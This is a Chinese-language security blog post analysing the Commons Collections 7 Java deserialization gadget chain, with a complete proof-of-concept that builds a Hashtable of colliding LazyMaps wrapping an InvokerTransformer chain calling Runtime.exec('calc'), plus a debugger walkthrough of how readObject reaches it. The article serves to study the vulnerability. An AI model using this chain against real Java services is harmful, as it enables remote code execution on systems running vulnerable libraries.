Java安全之Commons Collections7分析

Java安全之Commons Collections7分析

Java安全之Commons Collections7分析

0x00 前言

本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的。在后来随着后面各位大佬们挖掘利用链,CC8,9,10的链诞生,也被内置到ysoserial里面。在该链中其实和CC6也是类似,但是CC7利用链中是使用Hashtable作为反序列化的入口点。

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


            // Reusing transformer chain and LazyMap gadgets from previous payloads
            final String[] execArgs = new String[]{"calc"};

            final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            execArgs),
                    new ConstantTransformer(1)};

            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);

            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);

            // Use the colliding Maps as keys in Hashtable
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

            // Needed to ensure hash collision after previous manipulations
            lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
        }
    }

这里依旧是提取重要代码出来去做了一个简化。

抛去和前面重复的部分,下面分为三段代码去进行分析。

			Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);

            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);
			Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);

在这段代码中,实例化了两个 HashMap,并对两个 HashMap使用了LazyMaptransformerChain HashMap

绑定到一起。然后分别添加到 Hashtable中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?

下面来分析一下。

HashtablereconstitutionPut方法是被遍历调用的,

<span>Java安全之Commons Collections7分析</span>

<span>Java安全之Commons Collections7分析</span>

第一次调用的时候,并不会走入到reconstitutionPut方法for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因。

 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
		lazyMap2.remove("yy");

前面的三段代码其实就是为了防止在序列化的时候,本地进行命令执行,前面先定义好一个空的,后面再使用反射将他的iTransformers进行替换。

其实最主要的是后面的lazyMap2.remove这个步骤。至于为什么需要在最后面移除该值,其实在LazyMap的get方法里面就可以看到。

<span>Java安全之Commons Collections7分析</span>

如果不移除该方法就会走不进该判断条件的代码块中。而后面也会再调用一次put方法。

0x02 POC调试

依旧是在readobjetc的复写点打一个断点,这里面用到的是Hashtablereadobjetc作为入口点。

<span>Java安全之Commons Collections7分析</span>

在其中会调用到reconstitutionPut方法,跟进一下。

<span>Java安全之Commons Collections7分析</span>

前面说过,第一遍调用的时候,tab[index]是为空的,需要跟进到第二步的执行里面去查看。

<span>Java安全之Commons Collections7分析</span>

在第二遍执行的时候就会进行到for循环里面,并且调用到keyequals方法。跟进一下该方法。

<span>Java安全之Commons Collections7分析</span>

AbstractMapDecoratorequals方法会去调用this.mapequals。跟进一下。

<span>Java安全之Commons Collections7分析</span>

下面代码还会继续调用m.get方法,在这里的m为LazyMap对象。

在最后就来到了LazyMap.get这一步,其实就比较清晰了。后面的和前面分析的几条链都一样。这里就不做分析了。

<span>Java安全之Commons Collections7分析</span>

0x03 结尾

分析完了这一系列的CC链,后面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再后面就是开始写反序列化工具集了。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/2694.html原文链接:https://javaforall.net

(0)
上一篇 2020年11月20日 下午3:34
下一篇 2020年11月20日 下午3:34


相关推荐

  • java finalize方法详解

    1.finalize的作用finalize()是Object的protected方法,子类可以覆盖该方法以实现资源清理工作,GC在回收对象之前调用该方法。finalize()与C++中的析构函数不是对应的。C++中的析构函数调用的时机是确定的(对象离开作用域或delete掉),但Java中的finalize的调用具有不确定性不建议用finalize方法完成“非内存资源”的清理工作…

    2022年4月5日
    894
  • java drm_DRM系统工作原理

    java drm_DRM系统工作原理一 系统工作原理 DRM 技术是一项加强对音频 视频数字化产品内容版权保护的技术 其基本的工作原理是将音频 视频等文件进行加密编码处理 再建立一个证书授权服务中心 当用户使用这些加密文件时 应用软件会根据其包含在头文件中的有关属性自动链接到相应的站点 证书授权服务中心 获取相应的证书 只有通过授权中心的验证并获得授权 才能使用这些音 视频等文件 从而严密有效的保护了这些数字多媒体产品的版权和使用权限

    2026年3月18日
    2
  • 加密芯片硬件协处理器

    加密芯片硬件协处理器通俗来讲,硬件协处理器是CPU内部用于处理特定算法或逻辑运算的硬件电路模块,我们可以把他理解为一个特殊的加速器。硬件协处理器可以用于减轻系统微处理器的特定处理任务负担。例如,数学协处理器可以控制数字处理;图形协处理器可以处理视频绘制。Intelpentium微处理器就包括内置的数学协处理器。一个协处理器通过扩展指令集或提供配置寄存器来扩展内核处理功能。一个或多个协处理器可以通过协处理器接口与CPU内核相连。协处理器可以通过一组专门的、提供的接口的CPU指令来访问。对于加密芯片行业

    2022年6月25日
    33
  • 推荐几个长期有效的免费服务器和免费vps游戏服务器亲测再用

    推荐几个长期有效的免费服务器和免费vps游戏服务器亲测再用对于新手,搞网络购买现有的服务器和VPS成本太高!这里我长期测试筛选了几个长期有效好用的服务器!(当然免费虽好请勿滥用)1.FREEWHA这个服务器已经存在10几年了,好用谷歌收录也可以。提供1.5g空间免费流量,SSL申请免费空间很少有提供SSL的!这个空间的缺点就是无法上传大文件,最好用FTP上传。如果你做博客网站,选择SQLIVE数据库的最好。比如;ZBLOG的网站程序.2.Freehosting一个非常稳定的免费空间,提供10G空间和无限流量。这个空间其他功能都需要购买,数据库链接有流量限制

    2022年10月5日
    5
  • 使用matplotlib绘制折线图,柱状图,柱线混合图「建议收藏」

    使用matplotlib绘制折线图,柱状图,柱线混合图「建议收藏」matplotlib介绍Matplotlib是Python的绘图库。它可与NumPy一起使用,提供了一种有效的MatLab开源替代方案。它也可以和图形工具包一起使用,如PyQt和wxPython。安装Matplotlib库命令:在cmd命令窗口输入pipinstallmatplotlib。matplotlib绘制折线图绘制一条折线的折线图#-*-c…

    2022年5月31日
    65
  • Ubuntu18.04 安装MySQL

    Ubuntu18.04 安装MySQLUbuntu18.04安装MySQL

    2022年6月21日
    32

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号